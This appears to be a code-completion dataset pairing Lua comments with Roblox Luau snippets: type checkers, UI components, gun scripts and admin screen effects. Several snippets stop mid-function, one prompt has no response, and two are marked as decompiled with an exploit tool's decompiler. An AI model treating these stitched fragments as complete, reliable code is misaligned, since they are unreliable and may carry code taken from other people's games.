	function t.wrap(callback, checkArgs)
		assert(checkWrap(callback, checkArgs))
		return function(...)
			assert(checkArgs(...))
			return callback(...)
		end
	end
end

function t.strict(check)
	return function(...)
		assert(check(...))
	end
end

do
	local checkChildren = t.map(t.string, t.callback)
	function t.children(checkTable)
		assert(checkChildren(checkTable))

		return function(value)
			local instanceSuccess = t.Instance(value)
			if not instanceSuccess then
				return false
			end

			local childrenByName = {}
			for _, child in pairs(value:GetChildren()) do
				local name = child.Name
				if checkTable[name] then
					if childrenByName[name] then
						return false
					end
					childrenByName[name] = child
				end
			end

			for name, check in pairs(checkTable) do
				local success = check(childrenByName[name])
				if not success then
					return false
				end
			end

			return true
		end
	end
end

return t


Prompt: --// Modules

Response:
local L_120_ = require(L_22_:WaitForChild("Utilities"))
local L_121_ = require(L_22_:WaitForChild("Spring"))
local L_122_ = require(L_22_:WaitForChild("Plugins"))
local L_123_ = require(L_22_:WaitForChild("easing"))

local L_124_ = L_120_.Fade
local L_125_ = L_120_.SpawnCam
local L_126_ = L_120_.FixCam
local L_127_ = L_120_.tweenFoV
local L_128_ = L_120_.tweenCam
local L_129_ = L_120_.tweenRoll
local L_130_ = L_120_.TweenJoint

local L_131_ = L_120_.Weld


Prompt:
--// All global vars will be wiped/replaced except script
--// All guis are autonamed using client.Functions.GetRandom()

Response:
return function(data)
	local gui = service.New("ScreenGui")
	local mode = data.Mode
	local gTable = client.UI.Register(gui, {Name = "Effect"})
	local BindEvent = gTable.BindEvent

	client.UI.Remove("Effect", gui)
	gTable:Ready()

	if mode == "Off" or not mode then
		gTable:Destroy()
	elseif mode == "Pixelize" then
		local frame = Instance.new("Frame",gui)
		local camera = workspace.CurrentCamera
		local pixels = {}

		local resY = data.Resolution or 20
		local resX = data.Resolution or 20
		local depth = 0
		local distance = data.Distance or 80

		local function renderScreen()
			for i,pixel in pairs(pixels) do
				local ray = camera:ScreenPointToRay(pixel.X,pixel.Y,depth)
				local part, endPoint = workspace:FindPartOnRay(Ray.new(ray.Origin,ray.Direction*distance))
				if part and part.Transparency < 1 then
					pixel.Pixel.BackgroundColor3 = part.BrickColor.Color
				else
					pixel.Pixel.BackgroundColor3 = Color3.fromRGB(105, 170, 255)
				end
			end
		end

		frame.Size = UDim2.new(1,0,1,40)
		frame.Position = UDim2.new(0,0,0,-35)
		for y = 0,gui.AbsoluteSize.Y+50,resY do
			for x = 0,gui.AbsoluteSize.X+30,resX do
				local pixel = Instance.new("TextLabel")
				pixel.Text = ""
				pixel.BorderSizePixel = 0
				pixel.Size = UDim2.new(0,resX,0,resY)
				pixel.Position = UDim2.new(0,x-(resX/2),0,y-(resY/2))
				pixel.BackgroundColor3 = Color3.fromRGB(105, 170, 255)
				pixel.Parent = frame
				table.insert(pixels,{Pixel = pixel,X = x, Y = y})
			end
		end

		while wait() and not gTable.Destroyed and gui.Parent do
			if not gTable.Destroyed and not gTable.Active then
				wait(5)
			else
				renderScreen()
			end
		end

		gTable:Destroy()
	elseif mode == "FadeOut" then
		service.StarterGui:SetCore("TopbarEnabled",false)
		service.UserInputService.MouseIconEnabled = false
		for i,v in pairs(service.PlayerGui:GetChildren()) do
			pcall(function() if v~=gui then v:Destroy() end end)
		end
		local bg = Instance.new("Frame", gui)
		bg.BackgroundTransparency = 1
		bg.BackgroundColor3 = Color3.new(0,0,0)
		bg.Size = UDim2.new(2,0,2,0)
		bg.Position = UDim2.new(-0.5,0,-0.5,0)
		for i = 1,0,-0.01 do
			bg.BackgroundTransparency = i
			wait(0.1)
		end
		bg.BackgroundTransparency = 0
		client.Functions.BrickBlur(true,0,BrickColor.new("Really black"))
	elseif mode == "Trippy" then
		local v = service.Player
		local bg = Instance.new("Frame", gui)

		bg.BackgroundColor3 = Color3.new(0,0,0)
		bg.BackgroundTransparency = 0
		bg.Size = UDim2.new(10,0,10,0)
		bg.Position = UDim2.new(-5,0,-5,0)
		bg.ZIndex = 10

		while gui and gui.Parent do
			wait(1/44)
			bg.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
		end

		if gui then gui:Destroy() end
	elseif mode == "Spooky" then
		local frame = Instance.new("Frame",gui)
		frame.BackgroundColor3=Color3.new(0,0,0)
		frame.Size=UDim2.new(1,0,1,50)
		frame.Position=UDim2.new(0,0,0,-50)
		local img = Instance.new("ImageLabel",frame)
		img.Position = UDim2.new(0,0,0,0)
		img.Size = UDim2.new(1,0,1,0)
		img.BorderSizePixel = 0
		img.BackgroundColor3 = Color3.new(0,0,0)
		local textures = {
			299735022;
			299735054;
			299735082;
			299735103;
			299735133;
			299735156;
			299735177;
			299735198;
			299735219;
			299735245;
			299735269;
			299735289;
			299735304;
			299735320;
			299735332;
			299735361;
			299735379;
		}

		local sound = Instance.new("Sound",gui)
		sound.SoundId = "rbxassetid://174270407"
		sound.Looped = true
		sound:Play()

		while gui and gui.Parent do
			for i=1,#textures do
				img.Image = "rbxassetid://"..textures[i]
				wait(0.1)
			end
		end
		sound:Stop()
	elseif mode == "lifeoftheparty" then
		local frame = Instance.new("Frame",gui)
		frame.BackgroundColor3 = Color3.new(0,0,0)
		frame.Size = UDim2.new(1,0,1,50)
		frame.Position = UDim2.new(0,0,0,-50)
		local img = Instance.new("ImageLabel",frame)
		img.Position = UDim2.new(0,0,0,0)
		img.Size = UDim2.new(1,0,1,0)
		img.BorderSizePixel = 0
		img.BackgroundColor3 = Color3.new(0,0,0)
		local textures = {
			299733203;
			299733248;
			299733284;
			299733309;
			299733355;
			299733386;
			299733404;
			299733425;
			299733472;
			299733489;
			299733501;
			299733523;
			299733544;
			299733551;
			299733564;
			299733570;
			299733581;
			299733597;
			299733609;
			299733621;
			299733632;
			299733640;
			299733648;
			299733663;
			299733674;
			299733694;

		}
		local sound = Instance.new("Sound",gui)
		sound.SoundId = "rbxassetid://172906410"
		sound.Looped = true
		sound:Play()

		while gui and gui.Parent do
			for i=1,#textures do
				img.Image = "rbxassetid://"..textures[i]
				wait(0.1)
			end
		end

		sound:Stop()
	elseif mode == "Strobe" then
		local bg = Instance.new("Frame", gui)
		bg.BackgroundColor3 = Color3.new(0,0,0)
		bg.BackgroundTransparency = 0
		bg.Size = UDim2.new(10,0,10,0)
		bg.Position = UDim2.new(-5,0,-5,0)
		bg.ZIndex = 10

		while gui and gui.Parent do
			wait(1/44)
			bg.BackgroundColor3 = Color3.new(1,1,1)
			wait(1/44)
			bg.BackgroundColor3 = Color3.new(0,0,0)
		end
		if gui then gui:Destroy() end
	elseif mode == "Blind" then
		local bg = Instance.new("Frame", gui)
		bg.BackgroundColor3 = Color3.new(0,0,0)
		bg.BackgroundTransparency = 0
		bg.Size = UDim2.new(10,0,10,0)
		bg.Position = UDim2.new(-5,0,-5,0)
		bg.ZIndex = 10
	elseif mode == "ScreenImage" then
		local bg = Instance.new("ImageLabel", gui)
		bg.Image="rbxassetid://"..data.Image
		bg.BackgroundColor3 = Color3.new(0,0,0)
		bg.BackgroundTransparency = 0
		bg.Size = UDim2.new(1,0,1,0)
		bg.Position = UDim2.new(0,0,0,0)
		bg.ZIndex = 10
	elseif mode == "ScreenVideo" then
		local bg = Instance.new("VideoFrame", gui)
		bg.Video="rbxassetid://"..data.Video
		bg.BackgroundColor3 = Color3.new(0,0,0)
		bg.BackgroundTransparency = 0
		bg.Size = UDim2.new(1,0,1,0)
		bg.Position = UDim2.new(0,0,0,0)
		bg.ZIndex = 10
		bg:Play()
	end
end


Prompt:
--[[
	Higher order component that lets the wrapped component consume the InputContext.
]]

Response:
local function withInputContext(component)
	return function(props)
		if props.inputContext then
			warn("Child component has a prop named `inputContext` and will be overriden by InputContext.")
		end

		return Roact.createElement(Context.Consumer, {
			render = function(inputContext)
				local mergedProps = Cryo.Dictionary.join({ inputContext = inputContext }, props)

				return Roact.createElement(component, mergedProps)
			end,
		})
	end
end

local InputContext = {
	Consumer = Context.Consumer,
	Provider = withConfiguration(InputContextProvider),
	withInputContext = withInputContext,
}

return InputContext


Prompt: --In a Local Script

Response:
local hdMain = require(game:GetService("ReplicatedStorage"):WaitForChild("HDAdminSetup")):GetMain()
local hd = hdMain:GetModule("API")
hd:SetTopbarTransparency(1)


Prompt:
--[[**
	ensures Roblox ColorSequence type

	@param value The value to check against

	@returns True iff the condition is satisfied, false otherwise
**--]]

Response: t.ColorSequence = primitive("ColorSequence")


Prompt:
--[[
	Responsible for displaying a single piece of artwork on the canvas.
]]

Response:
local SurfaceSpot = Roact.Component:extend("SurfaceSpot")

SurfaceSpot.defaultProps = {
	padding = UDim.new(0, 16),
}

function SurfaceSpot:init()
	self.scale, self.updateScale = Roact.createBinding(1)
	self.scaleMotor = Otter.createSingleMotor(self.scale:getValue())
	self.scaleMotor:onStep(self.updateScale)

	self.transparency, self.updateTransparency = Roact.createBinding(0)
	self.transparencyMotor = Otter.createSingleMotor(self.transparency:getValue())
	self.transparencyMotor:onStep(self.updateTransparency)
end

function SurfaceSpot:render()
	local image = self.props.image or self.image

	return Roact.createElement("Frame", {
		BackgroundTransparency = 1,
		Size = UDim2.fromScale(1, 1),
		[Roact.Ref] = self.props.innerRef,
	}, {
		-- Add extra padding if needed
		Padding = Roact.createElement("UIPadding", {
			PaddingTop = self.props.padding,
			PaddingBottom = self.props.padding,
			PaddingLeft = self.props.padding,
			PaddingRight = self.props.padding,
		}),
		Art = image and Roact.createElement("ImageLabel", {
			BackgroundTransparency = 1,
			ImageTransparency = self.transparency,
			Size = UDim2.fromScale(1, 1),
			AnchorPoint = Vector2.new(0.5, 0.5),
			Position = UDim2.fromScale(0.5, 0.5),
			Image = image,
			ScaleType = Enum.ScaleType.Fit,
		}, {
			UIScale = Roact.createElement("UIScale", {
				Scale = self.scale,
			}),
			UIAspectRatio = Roact.createElement("UIAspectRatioConstraint", {
				DominantAxis = Enum.DominantAxis.Height,
				AspectType = Enum.AspectType.FitWithinMaxSize,
			}),
		}),
	})
end

function SurfaceSpot:willUpdate(nextProps)
	if nextProps.image == self.props.image then
		return
	end

	-- Stores the image temporarily before render is called so that ImageLabel does not unmount after image props
	-- change, and before animation completes.
	if not nextProps.image then
		self.image = self.props.image
	else
		self.image = nil
	end
end

function SurfaceSpot:didUpdate(prevProps)
	if prevProps.image ~= self.props.image then
		task.spawn(function()
			if self.props.image then
				-- Scale image when it appears
				self.transparencyMotor:setGoal(Otter.instant(0))
				self.scaleMotor:setGoal(Otter.spring(1.2))
				task.wait(1)
				self.scaleMotor:setGoal(Otter.spring(1))
				task.wait(1)
			else
				-- Fade image out when it disappears
				self.transparencyMotor:setGoal(Otter.spring(1))
				task.wait(1)
				self.image = nil
			end
		end)
	end
end

return Roact.forwardRef(function(props, ref)
	return Roact.createElement(SurfaceSpot, Cryo.Dictionary.join(props, { innerRef = ref }))
end)


Prompt:
--[=[
	@within TableUtil
	@function Sync
	@param srcTbl table -- Source table
	@param templateTbl table -- Template table
	@return table

	Synchronizes the `srcTbl` based on the `templateTbl`. This will make
	sure that `srcTbl` has all of the same keys as `templateTbl`, including
	removing keys in `srcTbl` that are not present in `templateTbl`. This
	is a _deep_ operation, so any nested tables will be synchronized as
	well.

	```lua
	local template = {kills = 0, deaths = 0, xp = 0}
	local data = {kills = 10, experience = 12}
	data = TableUtil.Sync(data, template)
	print(data) --> {kills = 10, deaths = 0, xp = 0}
	```

	:::caution Data Loss Warning
	This is a two-way sync, so the source table will have data
	_removed_ that isn't found in the template table. This can
	be problematic if used for player data, where there might
	be dynamic data added that isn't in the template.

	For player data, use `TableUtil.Reconcile` instead.
]=]

Response:
local function Sync<S, T>(srcTbl: S, templateTbl: T): T
	assert(type(srcTbl) == "table", "First argument must be a table")
	assert(type(templateTbl) == "table", "Second argument must be a table")

	local tbl = table.clone(srcTbl)

	-- If 'tbl' has something 'templateTbl' doesn't, then remove it from 'tbl'
	-- If 'tbl' has something of a different type than 'templateTbl', copy from 'templateTbl'
	-- If 'templateTbl' has something 'tbl' doesn't, then add it to 'tbl'
	for k, v in pairs(tbl) do
		local vTemplate = templateTbl[k]

		-- Remove keys not within template:
		if vTemplate == nil then
			tbl[k] = nil

			-- Synchronize data types:
		elseif type(v) ~= type(vTemplate) then
			if type(vTemplate) == "table" then
				tbl[k] = Copy(vTemplate, true)
			else
				tbl[k] = vTemplate
			end

			-- Synchronize sub-tables:
		elseif type(v) == "table" then
			tbl[k] = Sync(v, vTemplate)
		end
	end

	-- Add any missing keys:
	for k, vTemplate in pairs(templateTbl) do
		local v = tbl[k]

		if v == nil then
			if type(vTemplate) == "table" then
				tbl[k] = Copy(vTemplate, true)
			else
				tbl[k] = vTemplate
			end
		end
	end

	return (tbl :: any) :: T
end


Prompt: -- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote

Response:
local emoteNames = { wave = false, point = false, dance1 = true, dance2 = true, dance3 = true, laugh = false, cheer = false}

function configureAnimationSet(name, fileList)
if (animTable[name] ~= nil) then
for _, connection in pairs(animTable[name].connections) do
connection:disconnect()
end
end
animTable[name] = {}
animTable[name].count = 0
animTable[name].totalWeight = 0
animTable[name].connections = {}


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
return {
	Name = "rand",
	Aliases = {},
	Description = "Returns a random number between min and max",
	Group = "DefaultUtil",
	Args = { {
			Type = "integer",
			Name = "First number",
			Description = "If second number is nil, random number is between 1 and this value. If second number is provided, number is between this number and the second number."
		}, {
			Type = "integer",
			Name = "Second number",
			Description = "The upper bound.",
			Optional = true
		} },
	Run = function(p1, p2, p3)
		return tostring(p3 and math.random(p2, p3) or math.random(p2));
	end
};


Prompt:
--[=[
	@interface ServiceDef
	.Name string
	.Client table?
	.[any] any
	@within KnitServer
	Used to define a service when creating it in `CreateService`.
]=]

Response:
type ServiceDef = {
	Name: string,
	Client: {[any]: any}?,
	[any]: any,
}


Prompt: -- Update the effect on every single frame.

Response: RunService.RenderStepped:Connect(updateBobbleEffect)


Prompt: --// Firemode Settings

Response:
	CanSelectFire = true;
	BurstEnabled = false;
	SemiEnabled = true;
	AutoEnabled = true;
	BoltAction = false;
	ExplosiveEnabled = true;


Prompt:
-- ClassZombie =
--	{
--		Character = script.Parent;
--		Humanoid = script.Parent.Humanoid;
--		Animations = script.Parent.Animations;
--		ZombieColor =  script.Parent["Body Colors"];


Prompt:
--[[
	Cmdr
]]

Response:
if not _playerIsBot then
	coroutine.wrap(function()
		local Cmdr = require(ReplicatedStorage:WaitForChild("CmdrClient"))

		Cmdr:SetActivationKeys({
			Enum.KeyCode.BackSlash,
		})

		Cmdr:SetEnabled(true)
	end)()
end


Prompt: -- Private Methods

Response:
local function shortestDist(start, stop)
	local modDiff = (stop - start) % TAU
	local sDist = PI - math.abs(math.abs(modDiff) - PI)
	if ((modDiff + TAU) % TAU < PI) then
		return sDist
	else
		return -sDist
	end
end

function init(self)
	local subN = self.SubN
	local dial = self.Frame.RadialDial

	local inputType = Enum.UserInputType.MouseMovement

	self._Maid:Mark(self._ClickedBind)
	self._Maid:Mark(self._HoverBind)

	self._Maid:Mark(UIS.LastInputTypeChanged:Connect(function(iType)
		if (MOUSE_GROUP[iType] or GAMEPAD_GROUP[iType]) then
			inputType = iType
		end
	end))

	local lTheta = 0

	self._Maid:Mark(UIS.InputBegan:Connect(function(input)
		if (not self.Enabled) then
			return
		end

		if (GAMEPAD_GROUP[input.UserInputType]) then
			if (not GAMEPAD_CLICK[input.KeyCode]) then
				return
			else
				self._ClickedBind:Fire(self:PickIndex(lTheta))
			end
		end

		local theta = self:GetTheta(input.UserInputType)
		if (theta) then
			self._ClickedBind:Fire(self:PickIndex(theta))
		end
	end))

	self._Maid:Mark(RUNSERVICE.RenderStepped:Connect(function(dt)
		if (not self.Enabled) then
			return
		end

		local theta = self:GetTheta(inputType)
		if (theta and self:IsVisible()) then
			lTheta = theta

			local frameRot = math.rad(self.Frame.Rotation)
			local toDeg = math.deg(theta - self.Rotation + frameRot + EX_OFFSET + 2*TAU) % 360
			local closest = toDeg / (360 / self.SubN) + 0.5

			dial.Rotation = math.deg(self:GetRotation(closest))

			local index = self:PickIndex(theta)
			if (index ~= self._LastHoverIndex) then
				self._HoverBind:Fire(self._LastHoverIndex, index)
				self._LastHoverIndex = index
			end
		end
	end))
end


Prompt: -- functions

Response:
return function(character, boost)
	local upperTorso	= character.UpperTorso

	local glow		= script[boost].GlowEmitter:Clone()
		glow.Parent		= upperTorso
	local icon		= script[boost].IconEmitter:Clone()
		icon.Parent		= upperTorso
	local spark		= script[boost].SparkEmitter:Clone()
		spark.Parent	= upperTorso

	local sound		= script[boost .. "Sound"]:Clone()
		sound.Parent	= upperTorso

	glow:Emit(8)
	icon:Emit(10)
	spark:Emit(25)
	sound:Play()

	Debris:AddItem(glow, 4)
	Debris:AddItem(icon, 2)
	Debris:AddItem(spark, 2)
	Debris:AddItem(sound, sound.TimeLength)
end


Prompt: -- Used to sanitize user-supplied functions

Response:
local function AssertTypes(param, ...)
	local allowedTypes = {}
	local typeString = ''
	for _, typeName in pairs({...}) do
		allowedTypes[typeName] = true
		typeString = typeString .. (typeString == '' and '' or ' or ') .. typeName
	end
	local theType = type(param)
	assert(allowedTypes[theType], typeString .. " type expected, got: " .. theType)
end


Prompt: -- If in-game, enable ctrl hotkeys for exporting

Response:
if Mode == 'Tool' then
	AssignHotkey({ 'LeftControl', 'P' }, ExportSelection);
	AssignHotkey({ 'RightControl', 'P' }, ExportSelection);
end;

function IsVersionOutdated()
	-- Returns whether this version of Building Tools is out of date

	-- Check most recent version number
	local AssetInfo = MarketplaceService:GetProductInfo(142785488, Enum.InfoType.Asset);
	local LatestMajorVersion, LatestMinorVersion, LatestPatchVersion = AssetInfo.Description:match '%[Version: ([0-9]+)%.([0-9]+)%.([0-9]+)%]';
	local CurrentMajorVersion, CurrentMinorVersion, CurrentPatchVersion = Tool.Version.Value:match '([0-9]+)%.([0-9]+)%.([0-9]+)';

	-- Convert version data into numbers
	local LatestMajorVersion, LatestMinorVersion, LatestPatchVersion =
		tonumber(LatestMajorVersion), tonumber(LatestMinorVersion), tonumber(LatestPatchVersion);
	local CurrentMajorVersion, CurrentMinorVersion, CurrentPatchVersion =
		tonumber(CurrentMajorVersion), tonumber(CurrentMinorVersion), tonumber(CurrentPatchVersion);

	-- Determine whether current version is outdated
	if LatestMajorVersion > CurrentMajorVersion then
		return true;
	elseif LatestMajorVersion == CurrentMajorVersion then
		if LatestMinorVersion > CurrentMinorVersion then
			return true;
		elseif LatestMinorVersion == CurrentMinorVersion then
			return LatestPatchVersion > CurrentPatchVersion;
		end;
	end;

	-- Return an up-to-date status if not oudated
	return false;

end;

function ToggleSwitch(CurrentButtonName, SwitchContainer)
	-- Toggles between the buttons in a switch

	-- Reset all buttons
	for _, Button in pairs(SwitchContainer:GetChildren()) do

		-- Make sure to not mistake the option label for a button
		if Button.Name ~= 'Label' then

			-- Set appearance to disabled
			Button.SelectedIndicator.BackgroundTransparency = 1;
			Button.Background.Image = Assets.LightSlantedRectangle;

		end;

	end;

	-- Make sure there's a new current button
	if CurrentButtonName then

		-- Get the current button
		local CurrentButton = SwitchContainer[CurrentButtonName];

		-- Set the current button's appearance to enabled
		CurrentButton.SelectedIndicator.BackgroundTransparency = 0;
		CurrentButton.Background.Image = Assets.DarkSlantedRectangle;

	end;
end;


Response:
function OnRayHit(cast, raycastResult, segmentVelocity, cosmeticBulletObject)
	-- This function will be connected to the Caster's "RayHit" event.
	local hitPart = raycastResult.Instance
	local hitPoint = raycastResult.Position
	local normal = raycastResult.Normal
	if hitPart ~= nil and hitPart.Parent ~= nil then -- Test if we hit something
		local humanoid = hitPart.Parent:FindFirstChildOfClass("Humanoid") -- Is there a humanoid?
		if humanoid then
			humanoid:TakeDamage(DAMAGE_AMOUNT) -- Damage.
		end
		MakeParticleFX(hitPoint, normal) -- Particle FX
	end
end

function OnRayPierced(cast, raycastResult, segmentVelocity, cosmeticBulletObject)
	-- You can do some really unique stuff with pierce behavior - In reality, pierce is just the module's way of asking "Do I keep the bullet going, or do I stop it here?"
	-- You can make use of this unique behavior in a manner like this, for instance, which causes bullets to be bouncy.
	local position = raycastResult.Position
	local normal = raycastResult.Normal

	local newNormal = Reflect(normal, segmentVelocity.Unit)
	cast:SetVelocity(newNormal * segmentVelocity.Magnitude)

	-- It's super important that we set the cast's position to the ray hit position. Remember: When a pierce is successful, it increments the ray forward by one increment.
	-- If we don't do this, it'll actually start the bounce effect one segment *after* it continues through the object, which for thin walls, can cause the bullet to almost get stuck in the wall.
	cast:SetPosition(position)

	-- Generally speaking, if you plan to do any velocity modifications to the bullet at all, you should use the line above to reset the position to where it was when the pierce was registered.
end

function OnRayUpdated(cast, segmentOrigin, segmentDirection, length, segmentVelocity, cosmeticBulletObject)
	-- Whenever the caster steps forward by one unit, this function is called.
	-- The bullet argument is the same object passed into the fire function.
	if cosmeticBulletObject == nil then return end
	local bulletLength = cosmeticBulletObject.Size.Z / 2 -- This is used to move the bullet to the right spot based on a CFrame offset
	local baseCFrame = CFrame.new(segmentOrigin, segmentOrigin + segmentDirection)
	cosmeticBulletObject.CFrame = baseCFrame * CFrame.new(0, 0, -(length - bulletLength))
end

function OnRayTerminated(cast)
	local cosmeticBullet = cast.RayInfo.CosmeticBulletObject
	if cosmeticBullet ~= nil then
		-- This code here is using an if statement on CastBehavior.CosmeticBulletProvider so that the example gun works out of the box.
		-- In your implementation, you should only handle what you're doing (if you use a PartCache, ALWAYS use ReturnPart. If not, ALWAYS use Destroy.
		if CastBehavior.CosmeticBulletProvider ~= nil then
			CastBehavior.CosmeticBulletProvider:ReturnPart(cosmeticBullet)
		else
			cosmeticBullet:Destroy()
		end
	end
end

MouseEvent.OnServerEvent:Connect(function (clientThatFired, mousePoint)
	if not CanFire then
		return
	end
	CanFire = false
	local mouseDirection = (mousePoint - FirePointObject.WorldPosition).Unit
	for i = 1, BULLETS_PER_SHOT do
		Fire(mouseDirection)
	end
	if FIRE_DELAY > 0.03 then wait(FIRE_DELAY) end
	CanFire = true
end)

Caster.RayHit:Connect(OnRayHit)
Caster.RayPierced:Connect(OnRayPierced)
Caster.LengthChanged:Connect(OnRayUpdated)
Caster.CastTerminating:Connect(OnRayTerminated)

Tool.Equipped:Connect(function ()
	CastParams.FilterDescendantsInstances = {Tool.Parent, CosmeticBulletsFolder}
end)


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
return {
	["Halloween 2022"] = { {
			title = "Halloween 2022!",
			desc = "Participate in the Halloween 2022 Event!",
			amount = 1,
			difficulty = 2,
			secret = true,
			rewardType = "Diamonds",
			reward = 10000
		} }
};


Prompt: -- Define the maximum distance from the gun to the object that can be selected

Response: local maxDistance = 50


Prompt:
--[[
	Create a promise that represents the immediately rejected value.
]]

Response:
function Promise.reject(...)
	local length, values = pack(...)
	return Promise._new(debug.traceback(nil, 2), function(_, reject)
		reject(unpack(values, 1, length))
	end)
end


Prompt: -- Class

Response:
local DropdownClass = {}
DropdownClass.__index = DropdownClass
DropdownClass.__type = "Dropdown"

function DropdownClass:__tostring()
	return DropdownClass.__type
end


Prompt:
--[[
local tmp = hits:Clone()
tmp.Disabled=false
tmp.Parent=L3
local tmp = hits:Clone()
tmp.Disabled=false
tmp.Parent=L4
]]

Response:
while true do
	l=L1.Position
	angle=angle + DELTA
	L1.CFrame=CFrame.new( Vector3.new(l.X,l.Y,l.Z)) * CFrame.Angles(0, math.rad(angle), 0 )

	l=L2.Position
	angle=angle + DELTA
	L2.CFrame=CFrame.new( Vector3.new(l.X,l.Y,l.Z)) * CFrame.Angles(0, math.rad(angle+45), 0 )


Prompt: --local speed = script.Parent.Speed

Response:
local tweenInfo = TweenInfo.new(
	speed, -- Length (seconds)
	Enum.EasingStyle.Bounce,
	Enum.EasingDirection.Out,
	0, -- times repeared
	false, -- reverse
	delayed -- delay
)

goals[ 1 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -30 ), 0 )
goals[ 2 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -60 ), 0 )
goals[ 3 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -90 ), 0 )
goals[ 4 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -120 ), 0 )
goals[ 5 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -150 ), 0 )
goals[ 6 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -180 ), 0 )
goals[ 7 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -210 ), 0 )
goals[ 8 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -240 ), 0 )
goals[ 9 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -270 ), 0 )
goals[ 10 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -300 ), 0 )
goals[ 11 ] = spin.CFrame * CFrame.Angles( 0, math.rad( -330 ), 0 )
goals[ 12 ] = spin.CFrame

local i = 0
while spinning do
	i = i % #goals + 1

	local tween = TweenService:Create( spin, tweenInfo, { CFrame = goals[ i ] } )
	tween:Play()

	local state = tween.Completed:Wait()
	if state == Enum.PlaybackState.Cancelled then
		warn( 'Tween cancelled' )
		break
	end
end


Prompt:
--
-- Verify that everything is where it should be

Response:
assert(Self:FindFirstChild'Humanoid' ~= nil, 'Monster does not have a humanoid')
assert(Settings ~= nil, 'Monster does not have a Configurations object')
	assert(Settings:FindFirstChild'MaximumDetectionDistance' ~= nil and Settings.MaximumDetectionDistance:IsA'NumberValue', 'Monster does not have a MaximumDetectionDistance (NumberValue) setting')
	assert(Settings:FindFirstChild'CanGiveUp' ~= nil and Settings.CanGiveUp:IsA'BoolValue', 'Monster does not have a CanGiveUp (BoolValue) setting')
	assert(Settings:FindFirstChild'CanRespawn' ~= nil and Settings.CanRespawn:IsA'BoolValue', 'Monster does not have a CanRespawn (BoolValue) setting')
	assert(Settings:FindFirstChild'SpawnPoint' ~= nil and Settings.SpawnPoint:IsA'Vector3Value', 'Monster does not have a SpawnPoint (Vector3Value) setting')
	assert(Settings:FindFirstChild'AutoDetectSpawnPoint' ~= nil and Settings.AutoDetectSpawnPoint:IsA'BoolValue', 'Monster does not have a AutoDetectSpawnPoint (BoolValue) setting')
	assert(Settings:FindFirstChild'FriendlyTeam' ~= nil and Settings.FriendlyTeam:IsA'BrickColorValue', 'Monster does not have a FriendlyTeam (BrickColorValue) setting')
	assert(Settings:FindFirstChild'AttackDamage' ~= nil and Settings.AttackDamage:IsA'NumberValue', 'Monster does not have a AttackDamage (NumberValue) setting')
	assert(Settings:FindFirstChild'AttackFrequency' ~= nil and Settings.AttackFrequency:IsA'NumberValue', 'Monster does not have a AttackFrequency (NumberValue) setting')
	assert(Settings:FindFirstChild'AttackRange' ~= nil and Settings.AttackRange:IsA'NumberValue', 'Monster does not have a AttackRange (NumberValue) setting')
assert(Mind ~= nil, 'Monster does not have a Mind object')
	assert(Mind:FindFirstChild'CurrentTargetHumanoid' ~= nil and Mind.CurrentTargetHumanoid:IsA'ObjectValue', 'Monster does not have a CurrentTargetHumanoid (ObjectValue) mind setting')
assert(Self:FindFirstChild'Respawn' and Self.Respawn:IsA'BindableFunction', 'Monster does not have a Respawn BindableFunction')
assert(Self:FindFirstChild'Died' and Self.Died:IsA'BindableEvent', 'Monster does not have a Died BindableEvent')
assert(Self:FindFirstChild'Respawned' and Self.Died:IsA'BindableEvent', 'Monster does not have a Respawned BindableEvent')
assert(Self:FindFirstChild'Attacked' and Self.Died:IsA'BindableEvent', 'Monster does not have a Attacked BindableEvent')
assert(script:FindFirstChild'Attack' and script.Attack:IsA'Animation', 'Monster does not have a MonsterScript.Attack Animation')


Prompt:
--[[
	Anti-Spam
	For Click Detectors

	<Function> Wrap(<Function> FunctionToHook, <Int> OverrideNumberOfAttemptsAllowedBeforeCooldown)

	How to use;
		game:GetService("Workspace").INSTANCE.ClickDetector.MouseClick:Connect(Wrap(function()
			--// Code here
		end), OPTIONALCLICKSPAMPARAMETER)

		OR

		game:GetService("Workspace").INSTANCE.ClickDetector.MouseClick:Connect(Wrap(FUNCTION), OPTIONALCLICKSPAMPARAMETER)

	Phoenix
]]

Response:
local AntiSpam = {} -- Index: <instance> Player | Key: <int> Number of attempts
local DelayQueue = {} -- Index: <instance> Player | Key: <boolean> Delaying
local DefaultSpam = 15

coroutine.wrap(function()
	while true do
		wait(0.25)

		for Player, Attempts in pairs(AntiSpam) do
			if Attempts > 1 then
				AntiSpam[Player] = Attempts - 1
			end
		end
	end
end)()

return function(Function, OptionalCooldownParameter) --// Function that prevents spam for global controls eeeeyeeet
	local SpamStop

	if tonumber(OptionalCooldownParameter) ~= nil then
		SpamStop = tonumber(OptionalCooldownParameter)
	else
		SpamStop = DefaultSpam
	end

    local Delay = function(Player)
        DelayQueue[Player] = true

        wait(5)

        DelayQueue[Player] = false
        AntiSpam[Player] = 0
    end

    return function(Player)
        if AntiSpam[Player] == nil then
            AntiSpam[Player] = 0
        end

        if DelayQueue[Player] == nil then
            DelayQueue[Player] = false
        end

        if AntiSpam[Player] < SpamStop then
            AntiSpam[Player] = AntiSpam[Player] + 1
            Function(Player)
        elseif AntiSpam[Player] >= SpamStop and DelayQueue[Player] == false then
            Delay(Player)
        end
    end
end


Response:
function onKeyDown(key)
if (key~=nil) then
key = key:lower()

if (key=="e")  then -- Toggle Patrol
if Holstered == true then
script.Parent.Parent.Humanoid.WalkSpeed = 16
GunUp()
elseif Holstered == false then
script.Parent.Parent.Humanoid.WalkSpeed = 11
GunDown()
end end end end
Tool.Equipped:connect(onEquippedLocal)


Prompt: --// Processing

Response:
return function()
	local _G, game, script, getfenv, setfenv, workspace,
		getmetatable, setmetatable, loadstring, coroutine,
		rawequal, typeof, print, math, warn, error,  pcall,
		xpcall, select, rawset, rawget, ipairs, pairs,
		next, Rect, Axes, os, time, Faces, unpack, string, Color3,
